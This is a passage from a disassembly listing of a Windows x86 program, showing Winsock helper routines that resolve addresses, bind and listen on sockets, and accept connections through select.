; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE8C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE38, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 